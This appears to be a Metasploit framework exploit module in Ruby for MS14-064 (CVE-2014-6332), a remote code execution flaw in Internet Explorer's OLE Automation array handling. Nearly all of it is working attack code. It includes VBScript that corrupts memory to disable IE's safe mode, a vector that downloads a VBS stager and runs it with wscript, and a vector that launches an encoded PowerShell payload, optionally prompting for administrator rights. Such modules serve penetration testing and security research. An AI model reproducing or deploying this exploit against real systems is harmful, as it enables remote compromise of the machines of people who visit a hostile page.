390 lines
9.3 KiB
Ruby
390 lines
9.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/exploit/powershell'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::BrowserExploitServer
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::Powershell
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
|
|
'Description' => %q{
|
|
This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
|
|
The vulnerability is known to affect Internet Explorer 3.0 until version 11 within
|
|
Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will
|
|
only target Windows XP and Windows 7 box due to the Powershell limitation.
|
|
|
|
Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other
|
|
newer Windows systems, the exploit will try using Powershell instead.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Robert Freeman', # IBM X-Force
|
|
'yuange', # twitter.com/yuange75
|
|
'Rik van Duijn', # twitter.com/rikvduijn
|
|
'Wesley Neelen', # security[at]forsec.nl
|
|
'GradiusX <francescomifsud[at]gmail.com>',
|
|
'b33f', # @FuzzySec
|
|
'sinn3r'
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2014-6332' ],
|
|
[ 'MSB', 'MS14-064' ],
|
|
[ 'OSVDB', '114533' ],
|
|
[ 'EDB', '35229' ],
|
|
[ 'EDB', '35308' ],
|
|
[ 'URL', 'http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows' ],
|
|
[ 'URL', 'https://forsec.nl/2014/11/cve-2014-6332-internet-explorer-msf-module' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Windows XP',
|
|
{
|
|
'os_name' => OperatingSystems::Match::WINDOWS_XP
|
|
}
|
|
],
|
|
[
|
|
'Windows 7',
|
|
{
|
|
'os_name' => OperatingSystems::Match::WINDOWS_7
|
|
}
|
|
]
|
|
],
|
|
'BrowserRequirements' =>
|
|
{
|
|
:source => /script|headers/i,
|
|
:ua_name => HttpClients::IE,
|
|
:arch => ARCH_X86,
|
|
:ua_ver => lambda { |ver| ver.to_i.between?(4, 10) }
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'HTTP::compression' => 'gzip',
|
|
'Powershell::wrap_double_quotes' => false
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00"
|
|
},
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Nov 13 2014",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]),
|
|
OptBool.new('AllowPowershellPrompt', [true, 'Allow exploit to try Powershell', false])
|
|
])
|
|
end
|
|
|
|
def vbs_prepare()
|
|
code = %Q|
|
|
dim aa()
|
|
dim ab()
|
|
dim a0
|
|
dim a1
|
|
dim a2
|
|
dim a3
|
|
dim win9x
|
|
dim intVersion
|
|
dim rnda
|
|
dim funclass
|
|
dim myarray
|
|
|
|
Begin()
|
|
|
|
function Begin()
|
|
On Error Resume Next
|
|
info=Navigator.UserAgent
|
|
|
|
if(instr(info,"Win64")>0) then
|
|
exit function
|
|
end if
|
|
|
|
if (instr(info,"MSIE")>0) then
|
|
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
|
|
else
|
|
exit function
|
|
|
|
end if
|
|
|
|
win9x=0
|
|
|
|
BeginInit()
|
|
If Create()=True Then
|
|
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
|
|
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
|
|
|
|
if(intVersion<4) then
|
|
document.write("<br> IE")
|
|
document.write(intVersion)
|
|
runshellcode()
|
|
else
|
|
setnotsafemode()
|
|
end if
|
|
end if
|
|
end function
|
|
|
|
function BeginInit()
|
|
Randomize()
|
|
redim aa(5)
|
|
redim ab(5)
|
|
a0=13+17*rnd(6)
|
|
a3=7+3*rnd(5)
|
|
end function
|
|
|
|
function Create()
|
|
On Error Resume Next
|
|
dim i
|
|
Create=False
|
|
For i = 0 To 400
|
|
If Over()=True Then
|
|
' document.write(i)
|
|
Create=True
|
|
Exit For
|
|
End If
|
|
Next
|
|
end function
|
|
|
|
sub testaa()
|
|
end sub
|
|
|
|
function mydata()
|
|
On Error Resume Next
|
|
i=testaa
|
|
i=null
|
|
redim Preserve aa(a2)
|
|
|
|
ab(0)=0
|
|
aa(a1)=i
|
|
ab(0)=6.36598737437801E-314
|
|
|
|
aa(a1+2)=myarray
|
|
ab(2)=1.74088534731324E-310
|
|
mydata=aa(a1)
|
|
redim Preserve aa(a0)
|
|
end function
|
|
|
|
function setnotsafemode()
|
|
On Error Resume Next
|
|
i=mydata()
|
|
i=readmemo(i+8)
|
|
i=readmemo(i+16)
|
|
j=readmemo(i+&h134)
|
|
for k=0 to &h60 step 4
|
|
j=readmemo(i+&h120+k)
|
|
if(j=14) then
|
|
j=0
|
|
redim Preserve aa(a2)
|
|
aa(a1+2)(i+&h11c+k)=ab(4)
|
|
redim Preserve aa(a0)
|
|
|
|
j=0
|
|
j=readmemo(i+&h120+k)
|
|
|
|
Exit for
|
|
end if
|
|
|
|
next
|
|
ab(2)=1.69759663316747E-313
|
|
runaaaa()
|
|
end function
|
|
|
|
function Over()
|
|
On Error Resume Next
|
|
dim type1,type2,type3
|
|
Over=False
|
|
a0=a0+a3
|
|
a1=a0+2
|
|
a2=a0+&h8000000
|
|
|
|
redim Preserve aa(a0)
|
|
redim ab(a0)
|
|
|
|
redim Preserve aa(a2)
|
|
|
|
type1=1
|
|
ab(0)=1.123456789012345678901234567890
|
|
aa(a0)=10
|
|
|
|
If(IsObject(aa(a1-1)) = False) Then
|
|
if(intVersion<4) then
|
|
mem=cint(a0+1)*16
|
|
j=vartype(aa(a1-1))
|
|
if((j=mem+4) or (j*8=mem+8)) then
|
|
if(vartype(aa(a1-1))<>0) Then
|
|
If(IsObject(aa(a1)) = False ) Then
|
|
type1=VarType(aa(a1))
|
|
end if
|
|
end if
|
|
else
|
|
redim Preserve aa(a0)
|
|
exit function
|
|
|
|
end if
|
|
else
|
|
if(vartype(aa(a1-1))<>0) Then
|
|
If(IsObject(aa(a1)) = False ) Then
|
|
type1=VarType(aa(a1))
|
|
end if
|
|
end if
|
|
end if
|
|
end if
|
|
|
|
|
|
If(type1=&h2f66) Then
|
|
Over=True
|
|
End If
|
|
If(type1=&hB9AD) Then
|
|
Over=True
|
|
win9x=1
|
|
End If
|
|
|
|
redim Preserve aa(a0)
|
|
|
|
end function
|
|
|
|
function ReadMemo(add)
|
|
On Error Resume Next
|
|
redim Preserve aa(a2)
|
|
|
|
ab(0)=0
|
|
aa(a1)=add+4
|
|
ab(0)=1.69759663316747E-313
|
|
ReadMemo=lenb(aa(a1))
|
|
|
|
ab(0)=0
|
|
|
|
redim Preserve aa(a0)
|
|
end function
|
|
|
|
|
|
|
|
|
end
|
|
|
|
def vbs_vector(prep)
|
|
vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs"
|
|
gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif"
|
|
|
|
payload_src = "#{gif_name}"
|
|
|
|
# I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
|
|
# with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.
|
|
%Q|<!doctype html>
|
|
<html>
|
|
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
|
|
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|
|
<body>
|
|
<script language="VBScript">
|
|
function runaaaa()
|
|
On Error Resume Next
|
|
|
|
set xmlhttp = CreateObject("Microsoft.XMLHTTP")
|
|
xmlhttp.open "GET", "#{payload_src}", False
|
|
xmlhttp.send
|
|
|
|
Set objFSO=CreateObject("Scripting.FileSystemObject")
|
|
folder = objFSO.GetSpecialFolder(2)
|
|
scriptName = folder + "\\#{vbs_name}"
|
|
Set objFile = objFSO.CreateTextFile(scriptName,True)
|
|
objFile.Write xmlhttp.responseText
|
|
objFile.Close
|
|
|
|
set shell=createobject("Shell.Application")
|
|
shell.ShellExecute "wscript.exe", scriptName, "", "open", 0
|
|
|
|
end function
|
|
</script>
|
|
<script language="VBScript">
|
|
#{prep}
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
|
end
|
|
|
|
def powershell_vector(prep)
|
|
if datastore['TRYUAC']
|
|
tryuac = 'runas'
|
|
else
|
|
tryuac = 'open'
|
|
end
|
|
|
|
# Powershell was the first technique demonstrated publicly.
|
|
# On some Windows setups such as Windows 7 without a service pack, this works quite well.
|
|
# But other Windows setups you will get a prompt.
|
|
payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })
|
|
payl.slice! "powershell.exe "
|
|
|
|
%Q|<!doctype html>
|
|
<html>
|
|
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
|
|
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|
|
<body>
|
|
<script language="VBScript">
|
|
function runaaaa()
|
|
On Error Resume Next
|
|
set shell=createobject("Shell.Application")
|
|
shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0
|
|
end function
|
|
</script>
|
|
<script language="VBScript">
|
|
#{prep}
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
|
end
|
|
|
|
def get_html
|
|
prep = vbs_prepare()
|
|
case get_target.name
|
|
when OperatingSystems::Match::WINDOWS_XP
|
|
return vbs_vector(prep)
|
|
else
|
|
return powershell_vector(prep)
|
|
end
|
|
end
|
|
|
|
def on_request_exploit(cli, request, target_info)
|
|
if get_target.name.match(OperatingSystems::Match::WINDOWS_7) && !datastore['AllowPowershellPrompt']
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
case request.uri
|
|
when /\.gif/
|
|
if get_target.name =~ OperatingSystems::Match::WINDOWS_XP
|
|
p = regenerate_payload(cli)
|
|
data = generate_payload_exe({:code => p.encoded})
|
|
|
|
# The default template uses \n, and wscript.exe isn't very happy about that.
|
|
# It should be \r\n .
|
|
vbs = Msf::Util::EXE.to_exe_vbs(data).gsub(/\x0a/, "\r\n")
|
|
|
|
print_status("Sending VBS stager")
|
|
send_response(cli, vbs)
|
|
else
|
|
# The VBS technique is only for Windows XP. So if a non-XP system is requesting it,
|
|
# something is not right.
|
|
send_not_found(cli)
|
|
end
|
|
else
|
|
print_status("Sending exploit...")
|
|
send_exploit_html(cli, get_html)
|
|
end
|
|
end
|
|
end
|
|
|